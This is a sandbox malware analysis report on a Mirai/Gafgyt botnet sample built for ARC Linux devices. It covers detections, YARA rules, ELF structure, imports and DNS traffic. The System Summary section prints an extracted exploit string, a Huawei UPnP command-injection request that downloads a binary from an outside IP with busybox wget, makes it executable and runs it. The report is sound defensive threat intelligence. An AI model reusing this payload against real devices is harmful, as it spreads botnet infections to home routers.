Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
arc.elf

Overview

General Information

Sample name:arc.elf
Analysis ID:1644389
MD5:b94f8192c31250e262fd549573ac94d5
SHA1:afe32b18ee41412cafe607201233ad06c639a8ad
SHA256:5a31cf2f1be25c83b73094090bf5796a8018d5e7711529fdd84e73fa8781e462
Tags:elfuser-abuse_ch
Infos:
Errors
  • No process behavior to analyse as no analysis process or sample was found

Detection

Mirai
Score:80
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Yara signature match

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1644389
Start date and time:2025-03-20 14:51:13 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 10m 19s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arc.elf
Detection:MAL
Classification:mal80.troj.linELF@0/0@2/0
Cookbook Comments:
  • Analysis time extended to 480s due to sleep detection in submitted sample
  • No process behavior to analyse as no analysis process or sample was found

Runtime Messages

Command:/tmp/arc.elf
PID:5534
Exit Code:255
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
arc.elfJoeSecurity_Mirai_9Yara detected MiraiJoe Security
    arc.elfJoeSecurity_Mirai_6Yara detected MiraiJoe Security
      arc.elfLinux_Trojan_Mirai_0bce98a2unknownunknown
      • 0xb83c:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
      arc.elfMirai_Botnet_MalwareDetects Mirai Botnet MalwareFlorian Roth
      • 0xb7e0:$x2: /dev/misc/watchdog
      • 0xb7d0:$x3: /dev/watchdog
      • 0xb848:$s5: HWCLVGAJ

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      • • AV Detection
      • • Networking
      • • System Summary
      • • Stealing of Sensitive Information
      • • Remote Access Functionality

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: arc.elfAvira: detected
      Source: arc.elfVirustotal: Detection: 42%Perma Link
      Source: arc.elfReversingLabs: Detection: 50%
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
      Source: arc.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

      System Summary

      barindex
      Source: arc.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
      Source: arc.elf, type: SAMPLEMatched rule: Detects Mirai Botnet Malware Author: Florian Roth
      Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.23.108.200 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: Initial sampleString containing 'busybox' found: ~<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.23.108.200 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: arc.elf, type: SAMPLEMatched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
      Source: arc.elf, type: SAMPLEMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
      Source: classification engineClassification label: mal80.troj.linELF@0/0@2/0

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: arc.elf, type: SAMPLE

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: arc.elf, type: SAMPLE

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1644389 Sample: arc.elf Startdate: 20/03/2025 Architecture: LINUX Score: 80 6 daisy.ubuntu.com 2->6 8 Malicious sample detected (through community Yara rule) 2->8 10 Antivirus / Scanner detection for submitted sample 2->10 12 Multi AV Scanner detection for submitted file 2->12 14 Yara detected Mirai 2->14 signatures3

      Screenshots

      Download Video

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      arc.elf42%VirustotalBrowse
      arc.elf50%ReversingLabsLinux.Network.Gafgyt
      arc.elf100%AviraEXP/ELF.Gafgyt.X

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Download Network PCAP: filtered – full

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.24
      		truefalse
        		high
        NameSourceMaliciousAntivirus DetectionReputation
        http://schemas.xmlsoap.org/soap/encoding/arc.elffalse
          		high
          http://schemas.xmlsoap.org/soap/envelope/arc.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comdlr.ppc.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            sh4.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.25
            mips.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.25
            x86.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            resgod.spc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            m68k.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            i686.elfGet hashmaliciousGafgyt, MiraiBrowse
            • 162.213.35.24
            miner.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            arm5.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            hoho.m68k.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit LSB executable, Synopsys ARCompact ARC700 cores, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
            Entropy (8bit):6.333375571903206
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:arc.elf
            File size:50'632 bytes
            MD5:b94f8192c31250e262fd549573ac94d5
            SHA1:afe32b18ee41412cafe607201233ad06c639a8ad
            SHA256:5a31cf2f1be25c83b73094090bf5796a8018d5e7711529fdd84e73fa8781e462
            SHA512:1f123252fb455fb63724db334f4d0ff62e0638641271087f68dcdce121d2fbfe55c70666b23f0069e825a89c9bb857a428956dec8a5d84f03929b600e8068175
            SSDEEP:768:TxVhMqBAy5Juan3mEAqPQi1NtoFAkwrJ5Tw8W6wOmj:TzAxaWE1FDtoFARro8W6Fmj
            TLSH:2F3309B41516F2BCE9E22078F40720F529920A1C3ADDE2D3B0930575FFB5B4CB96AD5A
            File Content Preview:.ELF..............].....T...4...X.......4. ...(.........4...4...4.......................4...4...4...................................l...l........ ......D...D...D.......x........ ......T...T...T.......................H...H...H... ... ...........Q.td.......

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:<unknown>
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x10d54
            Flags:0x403
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:8
            Section Header Offset:49752
            Section Header Size:40
            Number of Section Headers:22
            Header String Table Index:21

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .interpPROGBITS0x101340x1340x140x00x2A001
            .note.ABI-tagNOTE0x101480x1480x200x00x2A004
            .hashHASH0x101680x1680x1800x40x2A404
            .dynsymDYNSYM0x102e80x2e80x3900x100x2A514
            .dynstrSTRTAB0x106780x6780x1a80x00x2A001
            .rela.pltRELA0x108200x8200x27c0xc0x42AI4164
            .initPROGBITS0x10a9c0xa9c0x220x00x6AX001
            .pltPROGBITS0x10ac00xac00x2940x00x6AX004
            .textPROGBITS0x10d540xd540xa7280x00x6AX004
            .finiPROGBITS0x1b47c0xb47c0x160x00x6AX001
            .rodataPROGBITS0x1b4940xb4940x5d40x00x2A004
            .eh_framePROGBITS0x1ba680xba680x40x00x2A004
            .ctorsPROGBITS0x1df440xbf440x80x00x3WA004
            .dtorsPROGBITS0x1df4c0xbf4c0x80x00x3WA004
            .dynamicDYNAMIC0x1df540xbf540xa80x80x3WA504
            .got.pltPROGBITS0x1dffc0xbffc0xe00x00x3WA004
            .dataPROGBITS0x1e0dc0xc0dc0x600x00x3WA004
            .bssNOBITS0x1e13c0xc13c0x1800x00x3WA004
            .commentPROGBITS0x00xc13c0x430x10x30MS001
            .ARC.attributes<unknown>0x00xc17f0x300x00x0001
            .shstrtabSTRTAB0x00xc1af0xa90x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            PHDR0x340x100340x100340x1000x1002.43320x5R E0x4
            INTERP0x1340x101340x101340x140x143.68420x4R 0x1/lib/ld-uClibc.so.0.interp
            LOAD0x00x100000x100000xba6c0xba6c6.45690x5R E0x2000.interp .note.ABI-tag .hash .dynsym .dynstr .rela.plt .init .plt .text .fini .rodata .eh_frame
            LOAD0xbf440x1df440x1df440x1f80x3783.65350x6RW 0x2000.ctors .dtors .dynamic .got.plt .data .bss
            DYNAMIC0xbf540x1df540x1df540xa80xa82.07480x6RW 0x4.dynamic
            NOTE0x1480x101480x101480x200x201.49880x4R 0x4.note.ABI-tag
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x10
            GNU_RELRO0xbf440x1df440x1df440xbc0xbc2.24580x4R 0x1.ctors .dtors .dynamic

            Dynamic Tags

            TypeMetaValueTag
            DT_NEEDEDsharedliblibc.so.00x1
            DT_INITvalue0x10aa00xc
            DT_FINIvalue0x1b4800xd
            DT_HASHvalue0x101680x4
            DT_STRTABvalue0x106780x5
            DT_SYMTABvalue0x102e80x6
            DT_STRSZbytes4240xa
            DT_SYMENTbytes160xb
            DT_INITvalue0x10aa00xc
            DT_FINIvalue0x1b4800xd
            DT_DEBUGvalue0x00x15
            DT_PLTGOTvalue0x10ac00x3
            DT_PLTRELSZbytes6360x2
            DT_PLTRELpltrelDT_RELA0x14
            DT_JMPRELvalue0x108200x17
            DT_NULLvalue0x00x0

            Symbols

            NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
            .dynsym0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
            __bss_start.dynsym0x1e13c0NOTYPE<unknown>DEFAULT18
            __errno_location.dynsym0x10cd00FUNC<unknown>DEFAULTSHN_UNDEF
            __uClibc_main.dynsym0x10c640FUNC<unknown>DEFAULTSHN_UNDEF
            _edata.dynsym0x1e13c0NOTYPE<unknown>DEFAULT17
            _end.dynsym0x1e2bc0NOTYPE<unknown>DEFAULT18
            accept.dynsym0x10b980FUNC<unknown>DEFAULTSHN_UNDEF
            bind.dynsym0x10bc80FUNC<unknown>DEFAULTSHN_UNDEF
            calloc.dynsym0x10ba40FUNC<unknown>DEFAULTSHN_UNDEF
            chdir.dynsym0x10bec0FUNC<unknown>DEFAULTSHN_UNDEF
            clock.dynsym0x10cf40FUNC<unknown>DEFAULTSHN_UNDEF
            close.dynsym0x10d240FUNC<unknown>DEFAULTSHN_UNDEF
            closedir.dynsym0x10d0c0FUNC<unknown>DEFAULTSHN_UNDEF
            connect.dynsym0x10af00FUNC<unknown>DEFAULTSHN_UNDEF
            exit.dynsym0x10cdc0FUNC<unknown>DEFAULTSHN_UNDEF
            fcntl.dynsym0x10d180FUNC<unknown>DEFAULTSHN_UNDEF
            fork.dynsym0x10c580FUNC<unknown>DEFAULTSHN_UNDEF
            free.dynsym0x10d300FUNC<unknown>DEFAULTSHN_UNDEF
            getpid.dynsym0x10b140FUNC<unknown>DEFAULTSHN_UNDEF
            getppid.dynsym0x10c940FUNC<unknown>DEFAULTSHN_UNDEF
            getsockname.dynsym0x10d480FUNC<unknown>DEFAULTSHN_UNDEF
            getsockopt.dynsym0x10cb80FUNC<unknown>DEFAULTSHN_UNDEF
            htonl.dynsym0x10c280FUNC<unknown>DEFAULTSHN_UNDEF
            htons.dynsym0x10cc40FUNC<unknown>DEFAULTSHN_UNDEF
            inet_addr.dynsym0x10bd40FUNC<unknown>DEFAULTSHN_UNDEF
            ioctl.dynsym0x10ad80FUNC<unknown>DEFAULTSHN_UNDEF
            kill.dynsym0x10bbc0FUNC<unknown>DEFAULTSHN_UNDEF
            listen.dynsym0x10c4c0FUNC<unknown>DEFAULTSHN_UNDEF
            malloc.dynsym0x10b380FUNC<unknown>DEFAULTSHN_UNDEF
            memmove.dynsym0x10b080FUNC<unknown>DEFAULTSHN_UNDEF
            memset.dynsym0x10c700FUNC<unknown>DEFAULTSHN_UNDEF
            ntohl.dynsym0x10be00FUNC<unknown>DEFAULTSHN_UNDEF
            ntohs.dynsym0x10c880FUNC<unknown>DEFAULTSHN_UNDEF
            open.dynsym0x10ce80FUNC<unknown>DEFAULTSHN_UNDEF
            opendir.dynsym0x10cac0FUNC<unknown>DEFAULTSHN_UNDEF
            prctl.dynsym0x10b200FUNC<unknown>DEFAULTSHN_UNDEF
            rand.dynsym0x10c040FUNC<unknown>DEFAULTSHN_UNDEF
            read.dynsym0x10c1c0FUNC<unknown>DEFAULTSHN_UNDEF
            readdir.dynsym0x10b740FUNC<unknown>DEFAULTSHN_UNDEF
            readlink.dynsym0x10b2c0FUNC<unknown>DEFAULTSHN_UNDEF
            realloc.dynsym0x10c400FUNC<unknown>DEFAULTSHN_UNDEF
            recv.dynsym0x10ae40FUNC<unknown>DEFAULTSHN_UNDEF
            recvfrom.dynsym0x10b500FUNC<unknown>DEFAULTSHN_UNDEF
            select.dynsym0x10b680FUNC<unknown>DEFAULTSHN_UNDEF
            send.dynsym0x10b8c0FUNC<unknown>DEFAULTSHN_UNDEF
            sendto.dynsym0x10c340FUNC<unknown>DEFAULTSHN_UNDEF
            setsid.dynsym0x10d000FUNC<unknown>DEFAULTSHN_UNDEF
            setsockopt.dynsym0x10bf80FUNC<unknown>DEFAULTSHN_UNDEF
            sigaddset.dynsym0x10b800FUNC<unknown>DEFAULTSHN_UNDEF
            sigemptyset.dynsym0x10afc0FUNC<unknown>DEFAULTSHN_UNDEF
            signal.dynsym0x10c100FUNC<unknown>DEFAULTSHN_UNDEF
            sigprocmask.dynsym0x10d3c0FUNC<unknown>DEFAULTSHN_UNDEF
            sleep.dynsym0x10b440FUNC<unknown>DEFAULTSHN_UNDEF
            socket.dynsym0x10b5c0FUNC<unknown>DEFAULTSHN_UNDEF
            srand.dynsym0x10c7c0FUNC<unknown>DEFAULTSHN_UNDEF
            time.dynsym0x10ca00FUNC<unknown>DEFAULTSHN_UNDEF
            write.dynsym0x10bb00FUNC<unknown>DEFAULTSHN_UNDEF

            Network Behavior

            Download Network PCAP: filtered – full

            TimestampSource PortDest PortSource IPDest IP
            Mar 20, 2025 14:54:48.580867052 CET5040353192.168.2.151.1.1.1
            Mar 20, 2025 14:54:48.580920935 CET3747053192.168.2.151.1.1.1
            Mar 20, 2025 14:54:48.682358027 CET53374701.1.1.1192.168.2.15
            Mar 20, 2025 14:54:48.749891043 CET53504031.1.1.1192.168.2.15

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Mar 20, 2025 14:54:48.580867052 CET192.168.2.151.1.1.10x7b5Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Mar 20, 2025 14:54:48.580920935 CET192.168.2.151.1.1.10x5e7Standard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Mar 20, 2025 14:54:48.749891043 CET1.1.1.1192.168.2.150x7b5No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Mar 20, 2025 14:54:48.749891043 CET1.1.1.1192.168.2.150x7b5No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior